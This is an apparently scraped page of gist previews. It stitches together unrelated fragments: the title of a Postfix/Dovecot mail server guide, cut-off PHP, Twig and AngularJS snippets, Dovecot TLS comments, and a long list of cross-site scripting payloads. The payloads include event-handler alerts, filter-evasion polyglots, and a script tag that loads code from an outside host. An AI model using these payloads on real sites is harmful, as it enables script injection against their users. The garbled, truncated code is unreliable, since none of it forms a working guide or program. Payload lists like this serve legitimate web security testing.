Godwinh Lopez photoup-godwinh

An ultimate guide to Postfix + Dovecot IMAP server with complete SPF, DKIM and DMARC support and additional instructions for a multi-domain setup

In this guide, domain.com will be your root domain and mail.domain.com will be the hostname of your mail server

⚠ This post is fairly old. I don't keep it up to date. Be sure to see comments where some people have posted updates

What this will cover

layout

title

description

	<?php

	namespace App\Http\Middleware;

	use Closure;
	use Symfony\Component\HttpFoundation\ParameterBag;

	/**
	* @author https://github.com/Stunext
	*

	##
	## Dovecot SSL settings with Intermediate compatibility
	## Follows Mozilla's Security/Server Side TLS guidelines
	## https://wiki.mozilla.org/Security/Server_Side_TLS
	##

	##
	## Optionial:
	## Disable 3DES ciphersuites to prevent CVE-2016-2183
	## by appending ":!3DES" to the ssl_cipher_list

	%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
	<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">

	{% macro input(name, value, type, attributes) %}
	<input name="{{ name }}" type="{{ type }}" value="{{ value }}"{% for attr, value in attributes %} {{ attr }}="{{ value }}"{% endfor %}{% if not attributes.id is defined %} id="{{ name }}"{% endif %}/>
	{% endmacro %}

	{% macro text(name, value, attributes) %}
	{% from _self import input %}
	{{ input(name, value, "text", attributes) }}
	{% endmacro %}

	{% macro password(name, value, attributes) %}

	<!DOCTYPE html>
	<html data-ng-app="TestApp">
	<head>
	<script src="http://code.angularjs.org/1.2.9/angular.js"></script>
	<script>
	angular.module('TestApp', [])

	.factory('beforeUnload', function ($rootScope, $window) {

	// Events are broadcast outside the Scope Lifecycle

	';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
	'';!--"<XSS>=&{()}
	0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
	<script/src=data:,alert()>
	<marquee/onstart=alert()>
	<video/poster/onerror=alert()>
	<isindex/autofocus/onfocus=alert()>
	<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
	<IMG SRC="javascript:alert('XSS');">
	<IMG SRC=javascript:alert('XSS')>